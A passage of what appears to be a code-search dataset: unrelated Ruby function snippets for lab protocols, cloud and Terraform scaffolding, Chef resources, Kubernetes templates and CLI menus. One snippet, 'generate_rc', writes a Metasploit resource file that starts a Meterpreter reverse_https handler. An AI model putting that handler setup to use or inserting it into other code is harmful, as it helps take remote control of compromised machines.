\"qPCR1_REAL\"\n check \"Navigate to <b>#{PROG_DIR}</b> and select <b>NGS_qPCR1_2.prcl</b>\"\n else \n check \"Navigate to <b>#{PROG_DIR}</b> and select <b>#{program.name}</b>\"\n end\n note \"Your program should have the following steps. If not, notify a lab manager.\"\n table program.table\n check \"Set the <b>Sample Volume</b> to <b>#{program.volume}</b>\"\n check \"Press <b>OK</b> (in the #{SOFTWARE})\"\n end\n\n show do\n title \"Plate Setup: #{stub}\"\n check \"Press <b>Next</b>. You are now on the <b>Plate</b> tab. Press <b>Select Existing</b>.\"\n check \"Navigate to <b>#{PROG_DIR}</b>. Choose <b>#{program.plate}</b> and press <b>Open</b>.\"\n check \"Press <b>Edit Selected</b>. Make sure the occupied wells match the table below:\"\n table display_plate\n check \"Make sure <b>SYBR</b> is checked for all wells in the table\"\n check \"Press <b>OK</b> (n the #{SOFTWARE})\"\n end\n\n data = show do\n title \"Run: #{stub}\"\n check \"Press <b>Next</b>. You are now on the <b>Start Run</b> tab.\"\n check \"Press <b>Start Run</b>\"\n note \"Copy the auto-generated filename for the run and paste it below:\"\n get \"text\", var: :name, label: \"file name\", default: \"filename#{PCRD_SUFFIX}\"\n if(test_str == TEST)\n check \"Proceed immediately to the next step while you are waiting for the qPCR <b>#{test_str}</b> run to finish\"\n end\n end\n\n ops.first.plan.associate \"#{upload_stub(program, test_str)}_name\", data[:name]\n\n if(test_str == REAL) # display stop cycle\n stop_cycle = ops.first.output(outname).collection.get(\"stop_cycle\")\n\n if stop_cycle.present?\n msg = \"The qPCR samples each require a different number of cycles.\"\n msg += \" To acheive this without disrupting the run, you will press\"\n msg += \" on the <b>Pause</b> software button at the <b>end</b> of the\"\n msg += \" elongation step at each of the cycles:\"\n msg += \" <b>#{stop_cycle.flatten.uniq.select!{|i| i>0}.sort.to_sentence}</b>\"\n msg += \" and remove the relevant sample(s), as indicated in the following table:\"\n\n show do\n title \"Stop at Cycle\"\n note msg\n table display_stop_cycles(outname, ops, stamp_columns)\n end\n else # this should not happen!\n raise \"No stop cycle info found.\"\n end\n end\n\n end", "def generate(label)\n package = Package.new\n package.load!\n filename = File.join(package.operations_dir, package.operation_name(label))\n template('operation.rb.erb', filename)\n\n rescue Package::MetadataNotFound\n say \"#{package.script_path} not found\", :red\n say \"You may want to create a new sysops project first\"\n exit 1\n end", "def template\n if @client ==\"ORBOGRAPH\" || @client == \"ORB TEST FACILITY\"\n IO.read(File.dirname(__FILE__) + '/templates/' + organization_name.downcase.gsub(' ','_') + '_'+@batch_type+'_template.xml.erb')\n else\n IO.read(File.dirname(__FILE__) + '/templates/' + organization_name.downcase.gsub(' ','_') + '_template.xml.erb')\n end\n end", "def poet_selection_instructions\n puts \"\"\n puts \"Type the number of a poet whose poems you would like to read.\"\n\t\tputs \"Or type menu to go up one menu.\"\n puts \"Or type exit to end the program.\"\n puts \"\"\n end", "def create_template\n self.template = \"template 14231\"\n end", "def cli_execute_make_transform_scaffold\n File.open(File.dirname(__FILE__)+'/data/transform_template.rb.tmpl','r') do |f|\n body = f.readlines.join('')\n body.gsub!('%%timestamp%%',Time.now.strftime(\"%a, %d %b %Y\"));\n body.gsub!('%%app name%%',cli_program_name);\n STDOUT.syswrite body\n end\n end", "def prerm\n @package.get_script :prerm\n end", "def virtual_guest_template\n template = {\n \"startCpus\" => @cores.to_i,\n \"maxMemory\" => @memory.to_i * 1024, # we let the user specify memory in GB, but the API expects maxMemory in MB.\n \"hostname\" => @hostname,\n \"domain\" => @domain,\n\n # Note : for the values below, we want to use the constants \"true\" and \"false\" not nil\n # the nil value (while false to Ruby) will not translate to XML properly\n \"localDiskFlag\" => !!@use_local_disk,\n \"hourlyBillingFlag\" => !!@hourly\n }\n\n template['dedicatedAccountHostOnlyFlag'] = true if @dedicated_host_only\n template['privateNetworkOnlyFlag'] = true if @private_network_only\n\n template['datacenter'] = {\"name\" => @datacenter.name} if @datacenter\n template['userData'] = [{'value' => @user_metadata}] if @user_metadata\n template['networkComponents'] = [{'maxSpeed'=> @max_port_speed}] if @max_port_speed\n template['postInstallScriptUri'] = @provision_script_URI.to_s if @provision_script_URI\n template['postInstallScriptUri'] = @provision_script_uri.to_s if @provision_script_uri\n template['primaryNetworkComponent'] = { \"networkVlan\" => { \"id\" => @public_vlan_id.to_i } } if @public_vlan_id\n template['primaryBackendNetworkComponent'] = { \"networkVlan\" => {\"id\" => @private_vlan_id.to_i } } if @private_vlan_id\n template['sshKeys'] = @ssh_key_ids.collect { |ssh_key_id| {'id'=> ssh_key_id.to_i } } if @ssh_key_ids\n template['supplementalCreateObjectOptions'] = @supplementalCreateObjectOptions if @supplementalCreateObjectOptions\n\n if @image_template\n template['blockDeviceTemplateGroup'] = {\"globalIdentifier\" => @image_template.global_id}\n elsif @os_reference_code\n template['operatingSystemReferenceCode'] = @os_reference_code\n end\n\n if @disks && !@disks.empty?\n template['blockDevices'] = []\n\n # According to the documentation for +createObject+,\n # device number 1 is reserved for the SWAP disk of the computing instance.\n # So we assign device 0 and then assign the rest starting at index 2.\n @disks.each_with_index do |disk, index|\n device_id = (index >= 1) ? index + 1 : index\n template['blockDevices'].push({\"device\" => \"#{device_id}\", \"diskImage\" => {\"capacity\" => disk}})\n end\n end\n\n template\n end", "def determine_template(options); end", "def generate()\n say \"Generating Cloud #{ options[:cloud] } IaC\", :green\n @values = parse_cloud_config\n\n case options[:cloud]\n when 'aws'\n copy_file('aws/terraform/main.tf', 'terraform/main.tf')\n copy_file('aws/terraform/network.tf', 'terraform/network.tf')\n copy_file('aws/terraform/outputs.tf', 'terraform/outputs.tf')\n copy_file('aws/terraform/variables.tf', 'terraform/variables.tf')\n template('aws/terraform/terraform.tfvars.erb', 'terraform/terraform.tfvars')\n copy_file('aws/README.md', 'README.md')\n\n template('aws/bosh-install.sh.erb', 'bin/bosh-install.sh')\n template('aws/setup-tunnel.sh.erb', 'bin/setup-tunnel.sh')\n template('aws/concourse-deploy.sh.erb', 'bin/concourse-deploy.sh')\n template('aws/set-env.sh.erb', 'bin/set-env.sh')\n chmod('bin/bosh-install.sh', 0755)\n chmod('bin/concourse-deploy.sh', 0755)\n chmod('bin/setup-tunnel.sh', 0755)\n\n when 'gcp'\n copy_file('gcp/terraform/main.tf', 'terraform/main.tf')\n copy_file('gcp/terraform/network.tf', 'terraform/network.tf')\n copy_file('gcp/terraform/outputs.tf', 'terraform/outputs.tf')\n copy_file('gcp/terraform/variables.tf', 'terraform/variables.tf')\n template('gcp/terraform/terraform.tfvars.erb', 'terraform/terraform.tfvars')\n copy_file('gcp/README.md', 'README.md', force: true)\n\n template('gcp/bosh-install.sh.erb', 'bin/bosh-install.sh')\n template('gcp/bosh-vars.yml.erb', 'bosh-vars.yml')\n template('gcp/setup-tunnel.sh.erb', 'bin/setup-tunnel.sh')\n template('gcp/set-env.sh.erb', 'bin/set-env.sh')\n chmod('bin/bosh-install.sh', 0755)\n chmod('bin/setup-tunnel.sh', 0755)\n\n else\n say 'Cloud provider not specified'\n\n end\n end", "def assign_cloud_resource_id\n\tif self.launch_configuration_name.blank?\n\t chars = (\"a\"..\"f\").to_a + (\"0\"..\"9\").to_a\n\t n = \"lc-\"\n\t 1.upto(8) { |i| n << chars[rand(chars.size-1)] }\n\t self.launch_configuration_name = n\n\tend\n end", "def template_name\n command.text_value\n end", "def generate_template()\n\n file_name = @hostname + '.tf'\n check_file_exists(file_name)\n template_path = determine_role()\n\n template = File.read(template_path)\n renderer = ERB.new(template, nil, '-')\n open(file_name, 'w') { |f|\n \tf.puts renderer.result(self.get_binding)\n f.close\n }\n\n end", "def get_random_program_type\n DataUtility.select_random_from_options(@prng, ProgramType.all).key\n end", "def generate_matchfile_content(template: nil)\n project = UI.input(\"What is your GitLab Project (i.e. gitlab-org/gitlab): \")\n\n return \"gitlab_project(\\\"#{project}\\\")\"\n end", "def init_with_program(prog); end", "def manual_review_needed_template\n 'manual_review_needed'\n end", "def cmd_resource(cmd, var = nil, what)\n puts \"HIT THE PPPPPPPPPPPPPPPPPP\"\n puts \"cmd_resource: #{cmd} | #{var} | #{what}\"\n end", "def create_pool\n cmd_text = \"ceph osd pool create #{new_resource.name} #{new_resource.pg_num} #{new_resource.pgp_num} #{new_resource.type}\"\n cmd_text << \" #{new_resource.profile}\" if new_resource.profile\n cmd_text << \" #{new_resource.crush_ruleset_name}\" if new_resource.crush_ruleset_name\n cmd_text << \" #{new_resource.options}\" if new_resource.options\n\n puts \"\\nRunning... #{cmd_text}\"\n\n cmd = Mixlib::ShellOut.new(cmd_text)\n cmd.run_command\n cmd.error!\n Chef::Log.debug \"Pool created: #{cmd.stderr}\"\nend", "def main\n\n operations.make\n \n operations.each {|op|\n new_experimental_plt = op.output(OUTPUT).collection\n note = op.input(NOTE).val.to_s\n if note != '' || note != nil || note != ' '\n note_entered = true\n key = 'Note'\n Item.find(new_experimental_plt.id).associate key.to_sym, note\n end\n show {\n title \"New Experimental Plate Created\"\n separator\n note \"Output Item: <b>#{new_experimental_plt}</b>\"\n bullet \"Output Object Type: <b>#{new_experimental_plt.object_type.name}</b>\"\n (note_entered) ? (bullet \"Note: <b>#{note}</b>\") : nil\n }\n }\n \n return {}\n \n end", "def copy_initializer\n template 'k8s/tests_job.yaml', \"k8s/#{app_name}_tests_job.yaml\"\n template 'k8s/deployment.yaml', \"k8s/#{app_name}_deployment.yaml\"\n template 'k8s/service.yaml', \"k8s/#{app_name}_service.yaml\"\n template 'k8s/setup_job.yaml', \"k8s/#{app_name}_setup_job.yaml\"\n template 'Jenkinsfile', \"Jenkinsfile\"\n template \"Dockerfile.#{docker_base}\", \"Dockerfile\"\n template \"Dockerfile.test.#{docker_base}\", \"Dockerfile.test\"\n template 'database.yml.prod', \"database.yml.prod\"\n template 'database.yml.test', \"database.yml.test\"\n end", "def main\n client = rpcclient(\"thanks\")\n printrpc client.send( configuration[:command], :person => configuration[:person], :options => options )\n\n # Exit using halt and it will pass on the appropriate exit code\n printrpcstats\n halt client.stats\n end", "def template_config\n File.read(options['puppet_config_template'])\nend", "def create_template_dot_rb\n\tsystem('touch template.rb')\n\tfile = File.open('template.rb', 'w')\n\tfile.puts(\"require 'pry'\")\n\tfile.puts(\"require 'dotenv'\")\n\tfile.puts('')\n\tfile.puts(\"Dotenv.load('.env')\")\n\tfile.close\nend", "def choose_generation()\n generate_selection()\n\n # Synchronuously (pause the init code) show the selection applet.\n System.run(LOADER, \"/applets/boot-selection.mrb\")\n\n # Read data from the user\n data = JSON.parse(File.read(\"/run/boot/choice\"))\n generation = data[\"generation\"]\n @use_generation_kernel = data[\"use_generation_kernel\"]\n\n # Why \"$default\" rather than passing a path?\n # Because there may be no generations folder. It's easier to cheat and\n # use \"$default\" and rely on the existing default \"maybe rehydrate\"\n # codepath.\n if generation == \"$default\"\n default_generation()\n else\n generation\n end\n end", "def template_resource\n @template_resource ||= template new_resource.path do\n source new_resource.source\n cookbook new_resource.cookbook\n owner 'root'\n group 'root'\n mode 00644\n variables name: new_resource.name,\n priority: new_resource.priority,\n extensions: new_resource.extensions,\n directives: new_resource.directives\n action :nothing\n end\n end", "def manifest(type)\n type = type.downcase\n say \"Rendering #{type} manifest\", :green\n @values = parse_cloud_config\n @tf_output = parse_tf_state('terraform/terraform.tfstate') if options[:cloud] == 'aws'\n\n if options[:cloud] == 'aws'\n @private_subnet = IPAddr.new(@values['aws']['private_subnet']['network']).to_range.to_a\n @public_subnet = IPAddr.new(@values['aws']['public_subnet']['network']).to_range.to_a\n else\n @private_subnet = IPAddr.new(@values['gcp']['subnet_cidr']).to_range.to_a\n end\n\n @static_ip_vault = @private_subnet[11].to_s\n @static_ips_concourse = [@private_subnet[12]].map(&:to_s)\n @static_ip_prometheus_stack = @private_subnet[18].to_s\n\n case type\n when \"bosh\"\n directory(\"#{options[:cloud]}/deployments/bosh\", 'deployments/bosh')\n template(\"#{options[:cloud]}/bosh-vars.yml.erb\", 'config/bosh-vars.yml')\n copy_file(\"#{options[:cloud]}/docs/bosh.md\", \"docs/bosh.md\")\n template(\"#{options[:cloud]}/bin/bosh-install.sh.tt\", \"bin/bosh-install.sh\")\n chmod('bin/bosh-install.sh', 0755)\n\n when \"concourse\"\n directory(\"#{options[:cloud]}/deployments/concourse\", \"deployments/concourse\")\n copy_file(\"#{options[:cloud]}/docs/concourse.md\", \"docs/concourse.md\")\n template(\"#{options[:cloud]}/bin/concourse-deploy.sh.tt\", \"bin/concourse-deploy.sh\")\n chmod('bin/concourse-deploy.sh', 0755)\n ingress_add_entry(@values['concourse']['hostname'], @static_ips_concourse, port: 8080)\n\n when \"vault\"\n template(\"#{options[:cloud]}/deployments/vault/vault.yml.erb\", \"deployments/vault/vault.yml\")\n copy_file(\"#{options[:cloud]}/docs/vault.md\", \"docs/vault.md\")\n template(\"#{options[:cloud]}/bin/vault-deploy.sh.tt\", \"bin/vault-deploy.sh\")\n chmod('bin/vault-deploy.sh', 0755)\n ingress_add_entry(@values['vault']['hostname'], [@static_ip_vault], port: 8200)\n\n when \"ingress\"\n template(\"#{options[:cloud]}/deployments/ingress/ingress.yml.erb\", \"deployments/ingress/ingress.yml\")\n copy_file(\"#{options[:cloud]}/docs/ingress.md\", \"docs/ingress.md\")\n template(\"#{options[:cloud]}/bin/ingress-deploy.sh.tt\", \"bin/ingress-deploy.sh\")\n template(\"#{options[:cloud]}/bin/ingress-update.sh.tt\", \"bin/ingress-update.sh\")\n chmod('bin/ingress-deploy.sh', 0755)\n chmod('bin/ingress-update.sh', 0755)\n\n when \"prometheus\"\n directory(\"#{options[:cloud]}/deployments/prometheus\", \"deployments/prometheus\")\n copy_file(\"#{options[:cloud]}/docs/prometheus.md\", \"docs/prometheus.md\")\n template(\"#{options[:cloud]}/bin/prometheus-deploy.sh.tt\", \"bin/prometheus-deploy.sh\")\n chmod('bin/prometheus-deploy.sh', 0755)\n ingress_add_entry(@values['alertmanager']['hostname'], [@static_ip_prometheus_stack], port: 9093)\n ingress_add_entry(@values['grafana']['hostname'], [@static_ip_prometheus_stack], port: 3000)\n ingress_add_entry(@values['prometheus']['hostname'], [@static_ip_prometheus_stack], port: 9090)\n\n else\n say \"Manifest type not specified\"\n\n end\n end", "def select_and_fill_templates\n template = @user_input.select_template(@label_printer)\n label = fill_in_the_template(template[:text], LABEL_TEMPLATE_NAME)\n @labels << {TEMPLATE_KEY => template[:name]}.merge!(label)\n\n # ask if the user would like to add another label to the print\n select_and_fill_templates if @user_input.another_label?\n\n {:labels => @labels }\n end", "def manifest(m)\r\n load_paths = load_paths('lazydoc', 'configurable', 'tap')\r\n bin_path = File.join(load_paths.last.chomp('lib'), 'bin/tapexe')\r\n \r\n m.template name, 'tap.erb', {\r\n :load_paths => load_paths,\r\n :bin_path => bin_path\r\n }\r\n \r\n m.on(:generate) do \r\n log :chmod, \"0755 #{name}\"\r\n FileUtils.chmod(0755, name)\r\n end\r\n \r\n m.template profile, 'profile.erb', {\r\n :generator => self.class,\r\n :filename => profile\r\n }\r\n end", "def generate_rc\n\tputs \"[*]\".green + \"\\tCreating msf resource file\"\n\topen(DEF_RC_FILE, 'w') { |f|\n\t\tf.puts \"use exploit/multi/handler\"\n\t\tf.puts \"set PAYLOAD windows/meterpreter/reverse_https\"\n\t\tf.puts \"set EXITFUNC thread\"\n\t\tf.puts \"set LPORT #{$port}\"\n\t\tf.puts \"set LHOST #{DEF_INT_IP}\"\n\t\tf.puts \"set ExitOnSession false\"\n\t\tf.puts \"exploit -j -z\"\n\t}\nend", "def create\n\t\tputs \"\\nWhat would you like to create? (P)olitician or (V)oter\"\n\t\tpolitics = gets.chomp.upcase\n\t\tcase politics\n\t\twhen \"V\"\n\t\t\tvoter_creation\n\t\twhen \"P\"\n\t\t\tpolitician_creation\n\t\telse\n\t\t\tputs \"\\nSomething went wrong. Please select again\"\n\t\t\tcreate\n\t\tend\n\t\tmain_menu\n\tend", "def setting_template_key\n if journal_task_type\n \"TaskTemplate:#{journal_task_type.kind}\"\n else\n \"TaskTemplate:#{card.name}\"\n end\n end", "def choose_protein\n system 'clear'\n prompt.select(\"Which protein would you like to see recipes for?\") do |menu|\n Protein.all.each do |protein|\n menu.choice protein.name.capitalize, -> {main_menu_protein(protein.id)}\n end\n end\n end", "def gen_pv\n pv_name = \"pv-#{gen_uuid}\"\n file = \"#{$templates_path}/#{pv_name}.yaml\"\n File.open(file, 'w') do |f|\n f.puts <<-PV\nkind: PersistentVolume\napiVersion: v1\nmetadata:\n name: #{pv_name}\nspec:\n capacity:\n storage: 1Gi\n accessModes:\n - ReadWriteOnce\n nfs:\n path: \"/\"\n server: \"10.1.1.1\"\n persistentVolumeReclaimPolicy: \"Retain\"\nPV\n end\n\n `oc create -f #{file}`\nend", "def cfs_kit_launch_app(screen, app)\n\n\n if (app == \"UPDATE_TUTORIAL\")\n # An exception will report any errors \n if cfs_kit_create_tutorial_screen\n prompt (\"Successfuly created tutorial screen file #{tutorial_scr_file}\\nusing #{tutorial_def_file}\")\n end\n elsif (app == \"PROTO_APPP\")\n #TODO - Investigate generic text table editor or tutorial screen\n\t Cosmos.run_process(\"ruby lib/OskCfeFileViewer -f '/mnt/hgfs/OpenSatKit/cosmos/cfs_kit/file_server/cfe_es_syslog.dat'\")\n\t #Cosmos.run_process(\"ruby lib/OskTxtFileViewer -f '/mnt/hgfs/OpenSatKit/cosmos/test.json'\")\n #require 'osk_tbl_editor'\n #Cosmos.run_process(\"ruby lib/OskTblEditor\")\n\t #require 'cfs_fcx_cmdgen'\n #Cosmos.run_process(\"ruby lib/CfsFcxCmdGen\")\n #Cosmos.run_process(\"ruby tools/ConfigEditor\")\n #Cosmos::OskTblEditor.run\n #Cosmos.run_cosmos_tool('ConfigEditor')\n\n elsif (app == \"TUTORIAL\")\n cfs_kit_launch_tutorial_screen\n end\n\nend", "def set_template\n end", "def angular_scaffold\n object = get_stdin(\"What is the Object name to scaffold? \")\n puts \"Describe your structure like a model generation :\\nnom:string description:text prix:decimal rdv:date validation:boolean heure:time creation:datetime\"\n parameters = get_stdin(\"What's the structure of the object? \")\n system \"rails generate angular_scaffold #{object} #{parameters}\"\nend", "def create_resume(options = {})\n\n # Get Profile\n profile = get_profile\n\n # Find stylist (LaTeX / Asciidoc etc.)\n # Find output factory/plugin (fetch from Github?)\n case options['format']\n when 'latex'\n require 'linkedin2cv/renderer/latex_renderer'\n\n # Currently only supports one LaTeX template\n renderer = Linkedin2CV::LatexRenderer.new\n renderer.render(profile, options)\n else\n puts \"Sorry mate, I don't yet support the '#{options['format']}' format'\"\n end\n end", "def pr_intro\n show do\n title \"Plate Reader Measurements\"\n \n note \"This protocol will instruct you on how to take measurements on the BioTek Plate Reader.\"\n note \"ODs are a quick and easy way to measure the growth rate of your culture.\"\n note \"GFP measurements help researchers assess a response to a biological condition <i>in vivo</i>.\"\n note \"<b>1.</b> Transfer culture to plate reader plate and add blank.\"\n note \"<b>2.</b> Setup plate reader workspace.\"\n note \"<b>3.</b> Take measurement, save data, & upload.\"\n end\n end", "def register_parallels_vm(options)\n message = \"Registering Parallels VM \"+options['name']\n command = \"prlctl create \\\"#{options['name']}\\\" --ostype \\\"#{options['os-type']}\\\"\"\n execute_command(options,message,command)\n return\nend", "def cfs_kit_launch_tutorial_screen\n\n tutorial_scr_file = \"#{Osk::SCR_DIR}/#{Osk::TUTORIAL_SCR_FILE}\"\n\n scr_tutorial_dir = File.open(tutorial_scr_file) {|f| f.readline}\n\n if scr_tutorial_dir.index(Osk::SCR_DIR).nil? \n cfs_kit_create_tutorial_screen\n end\n \n display(\"CFS_KIT #{File.basename(Osk::TUTORIAL_SCR_FILE,'.txt')}\",500,50)\n \nend", "def generate_profile\n ErbTemplate.render_to_if_changed('apparmor/profile', {\n name: profile_name,\n namespace: namespace,\n ct: ct,\n all_combinations_of: ->(arr) do\n ret = []\n arr.count.times { |i| ret.concat(arr.combination(i+1).to_a) }\n ret\n end,\n }, profile_path)\n end", "def selected_generation()\n if Hal::Recovery.wants_recovery?\n generate_selection()\n # FIXME: In the future, boot GUIs will be launched async, before this\n # task is ran.\n System.run(LOADER, \"/applets/boot-selection.mrb\")\n generation = File.read(\"/run/boot/choice\")\n # Why \"$default\" rather than passing a path?\n # Because there may be no generations folder. It's easier to cheat and\n # use \"$default\" and rely on the existing default \"maybe rehydrate\"\n # codepath.\n if generation == \"$default\"\n default_generation()\n else\n generation\n end\n else\n default_generation()\n end\n end", "def create_command_help\n puts \"The Ruby Farm - a simple command line animals app\"\n puts\n puts \"Command Usage:\"\n puts \" [create | c] <name=> <type=> creates a animal with name\"\n puts \"\"\n puts \"Examples:\"\n puts \" bin/run [create | c] name=my_animal_name\"\n puts \" bin/run [create | c] name=my_animal_name type=pig\"\n end", "def code\n # Short circuit is this isn't a Command Paper.\n return \"#{source} #{session} (#{paper_no}) #{vol} #{start_page}\" if source != 'CMD'\n\n # Paper number prefixes are different for sessions.\n prefix = case session[0..3].to_i\n when 1000..1869 then ''\n when 1870..1899 then 'C.'\n when 1900..1919 then 'Cd.'\n else 'Cmd.'\n end\n \n \"HC #{session} [#{prefix}#{paper_no}] #{vol} #{start_page}\"\n end", "def template_command type, template_vars\n # ignore missing commands\n command = case type\n when :check\n @check_cmd\n when :commit\n @commit_cmd\n else\n raise \"I dont know what a #{type} command is!\"\n end\n return nil if command.nil?\n begin\n erb = Erubis::Eruby.new(command)\n erb.result(template_vars)\n rescue => e\n logger.error \"Error templating #{type} command! #{e.message}\"\n raise e\n end\n end", "def describe\n puts \"Start describe plant\"\n puts \"#{self.plant}/#{self.env} has #{self.appTemplates.size} applications and #{self.templates.size} templates\"\n puts\n puts \"Applications: \"\n puts\n self.appTemplates.each { |app| puts \"#{app.name.downcase}\" }\n puts\n puts \"Templates: \"\n puts\n self.templates.each { |temp| puts \"#{temp.name.downcase}\" }\n puts \"End describe plant\"\n end", "def init(command_spec = nil)\n if command_spec\n invoke_repositext_command('init', command_spec, options)\n else\n generate_rtfile(options)\n end\n end", "def cfs_kit_launch_tutorial_screen\r\n\r\n tutorial_scr_file = \"#{Osk::SCR_DIR}/#{Osk::TUTORIAL_SCR_FILE}\"\r\n\r\n scr_tutorial_dir = File.open(tutorial_scr_file) {|f| f.readline}\r\n\r\n if scr_tutorial_dir.index(Osk::SCR_DIR).nil? \r\n cfs_kit_create_tutorial_screen\r\n end\r\n \r\n display(\"CFS_KIT #{File.basename(Osk::TUTORIAL_SCR_FILE,'.txt')}\",500,50)\r\n \r\nend", "def generate\n require_relative \"resume/ruby_version_checker\"\n RubyVersionChecker.check_ruby_version\n require_relative \"resume/cli/application\"\n CLI::Application.start\n end", "def command_create_test( name )\n template = %x[ cat ./api/templates/test.cpp ] \n puts \"\\n\\\n// both ofMain.h and cpptest.h includes\\n\\\n// will be removed when we glue.\"\n puts template.gsub( /\\{WHAT\\}/, name.red )\nend", "def usage\n puts <<EOF\nUsage:\n #{__FILE__} resource_type.resource_name resource_id [other terraform's parameters]\nEquivalent of:\n terraform import resource_type.resource_name resource_id [other parameters]\nIssues:\n Delete terraform.tfstate before run\nEOF\n exit 1\nend", "def generate\n\t\t@vs = \"vitalsource\"\n\t\t@question = [\"What is your Student ID number?\",\"What is your favorite color?\",\"In what city were you born?\",\"What is your pet's name?\",\"What is your mother's maiden name?\"]\n\tend", "def default_data_for_template(name)\n {\n :name => name,\n :version => '0.0.1',\n :summary => \"A short description of #{name}.\",\n :homepage => \"http://EXAMPLE/#{name}\",\n :author_name => Executable.capture_command('git', %w(config --get user.name), :capture => :out).first.strip,\n :author_email => Executable.capture_command('git', %w(config --get user.email), :capture => :out).first.strip,\n :source_url => \"http://EXAMPLE/#{name}.git\",\n :ref_type => ':tag',\n :ref => '#{spec.version}',\n }\n end", "def puppet_resource_cmd(af)\n cmd = PUPPET_BINPATH + \\\n \"resource cisco_bgp_neighbor_af '#{af.values.join(' ')}'\"\n get_namespace_cmd(agent, cmd, options)\nend", "def render_deployment_template(options)\n self_signed_cert_resource = nil\n if options[:operating_system] == \"Windows\" && options[:winrm_install_self_signed_cert]\n setup_winrm_powershell = VagrantPlugins::Azure::Util::TemplateRenderer.render(\"arm/setup-winrm.ps1\", options)\n encoded_setup_winrm_powershell = setup_winrm_powershell.\n gsub(\"'\", \"', variables('singleQuote'), '\").\n gsub(\"\\r\\n\", \"\\n\").\n gsub(\"\\n\", \"; \")\n self_signed_cert_resource = VagrantPlugins::Azure::Util::TemplateRenderer.render(\"arm/selfsignedcert.json\", options.merge({setup_winrm_powershell: encoded_setup_winrm_powershell}))\n end\n VagrantPlugins::Azure::Util::TemplateRenderer.render(\"arm/deployment.json\", options.merge({self_signed_cert_resource: self_signed_cert_resource}))\n end", "def copy_template(*args)\n args.each do |path|\n # puts \"Installing #{path}...\".magenta\n remove_file path\n file path, File.read(File.join(@path_templates, path))\n # puts \"\\n\"\n end\nend", "def rna_prep_steps(working_plate)\n show do\n title 'Run RNA-Prep'\n note \"Run typical RNA-Prep Protocol with RNA plate #{working_plate.id}\n and adapter plate #{working_plate.get(ADAPTER_KEY).class}\"\n table highlight_non_empty(working_plate, check: false)\n end\n end", "def generate_compute(compute_instancetype, compute_imageid)\n compute_instancename = UUIDTools::UUID.random_create\n raw_template = \"\"\n File.open(COMPUTE_TEMPLATE) { |f| raw_template = f.readlines }\n template = ERB.new(raw_template.join(\"\\n\"))\n return [compute_instancename, template.result(binding)]\nend", "def create_sr(package,from,to)\n puts \"Creating submit request for package #{package} from #{from} to #{to}\"\n if Options.instance.debug_project\n to = Options.instance.debug_project\n puts \"Creating submit request for package #{package} from #{from} to #{to}\"\n end\n log.info \"Creating submit request for package #{package} from #{from} to #{to}\"\n if system(\"#{osc_cmd} sr #{from} #{package} #{to}\")\n request = `#{osc_cmd} request list #{to} #{package} |grep State:new |head -n 1 |cut -d\\\\ -f2`\n log.info \"Created request id #{request}\"\n end\nend", "def cfn_template\n @_cfn_template ||= \\\n begin\n if stack_type\n send(\"cfn_template_#{stack_type}\")\n else\n cfn_template_guess || fail_task('cannot find template')\n end\n end\n end", "def get_renderer_template\n File.read(\"#{@azure_sdk_for_ruby_location}/generators/requirefilegen/src/resources/templates/require_file_template.template\")\n end", "def create_template(source_template, path, notify)\n\n if notify\n service 'nscp' do\n action :start\n end\n template path do\n source source_template\n notifies :restart, 'service[nscp]', :immediately\n end\n else\n template path do\n source source_template\n end\n end\nend", "def template\n @template ||= Template.new name: script_name, out_file: root_ruby_file, type: type\n end", "def get_program_def(name:)\n PROGRAMS[name]\n end", "def newt_select active_manifest\n if ! NEWT_PRESENT\n LOG.fatal \"Ruby-newt library not available on this system, use enable/disable\\nor edit manually repos.conf.\"\n end\n Newt::Screen.new\n at_exit do\n Newt::Screen.finish\n end\n\n product_index = 0\n repo_index = 1000\n flag = 0\n checktree = Newt::CheckboxTree.new(-1, -1, 20, Newt::FLAG_SCROLL)\n active_manifest.entitlements.each_value do |entitlement|\n entitlement.provided_products.each do |product|\n product.content.each_value do |content|\n checktree.add(content.name, 0, 0, Newt::ARG_APPEND)\n content.repositories.each do |repo|\n if repo.enabled\n flag = Newt::FLAG_SELECTED\n else\n flag = 0\n end\n checktree.add(repo.repoid, 0, flag, product_index, Newt::ARG_APPEND)\n repo_index += 1\n end\n product_index += 1\n end\n end\n end\n\n button_save_exit = Newt::Button.new(-1, -1, \"Save and Exit\")\n button_exit = Newt::Button.new(-1, -1, \"Exit\")\n\n grid_buttons = Newt::Grid.new(2, 1)\n grid_buttons.set_field(0, 0, Newt::GRID_COMPONENT, button_save_exit, 0, 0, 0, 0, 0, 0)\n grid_buttons.set_field(1, 0, Newt::GRID_COMPONENT, button_exit, 0, 0, 0, 0, 0, 0)\n\n grid_tree = Newt::Grid.new(1, 2)\n grid_tree.set_field(0, 0, Newt::GRID_COMPONENT, checktree, 0, 0, 0, 1, Newt::ANCHOR_RIGHT, 0)\n grid_tree.set_field(0, 1, Newt::GRID_SUBGRID, grid_buttons, 0, 0, 0, 0, 0, 0)\n\n grid_tree.wrapped_window(\"Katello Disconnected Repository Selection\")\n\n form = Newt::Form.new\n form.add(checktree, button_save_exit, button_exit)\n answer = form.run()\n Newt::Screen.finish\n\n if answer == button_save_exit\n # ruby-newt binding is missing some important functions\n puts \"SAVING NOT YET IMPLEMENTED! Please manually edit the configuration.\"\n end\nend", "def template(name); end", "def select_template template\n\t\tpage_div = $browser.div(:xpath => \"//div[@class='template-categories_category-name'][contains(text(), '\"+template+\"')]\")\n\t\tpage_div.click\n\tend", "def template; end", "def template; end", "def template; end", "def template; end", "def template; end", "def template; end", "def template; end", "def template(name)\n File.join TemplatePath, \"#{name}.rb\"\nend", "def provision_script_path(type)\n \"./provision/#{type}.sh\"\nend", "def resource_name(seed=random_string(5))\n 'cli_' << HOSTNAME << '_' << Time.now.to_i.to_s << '_' << seed.to_s\n end", "def main\n platform = @handle.root['platform']\n @handle.log(\"info\", \"Detected Platform:<#{platform}>\")\n\n if platform.nil?\n source_id = @handle.root['dialog_input_src_vm_id']\n source = @handle.vmdb('vm_or_template', source_id) unless source_id.nil?\n platform = source ? source.model_suffix.downcase : \"vmware\"\n end\n\n dialog_name_prefix = \"miq_provision_#{platform}_dialogs\"\n @handle.object['dialog_name_prefix'] = dialog_name_prefix\n @handle.log(\"info\", \"Platform:<#{platform}> dialog_name_prefix:<#{dialog_name_prefix}>\")\n end", "def main\n\n\n operations.running.retrieve interactive: false\n save_user operations\n debug_setup(operations) if debug\n \n if KIT_NAME == \"uw kit\"\n if debug\n labels = \"ABCDEF\".split('')\n operations.each.with_index do |op, i|\n op.input(INPUT).item.associate(SAMPLE_KEY, labels[i]) \n op.input(INPUT).item.associate(COMPONENT_KEY, \"\") \n end\n end\n end\n \n save_temporary_input_values(operations, 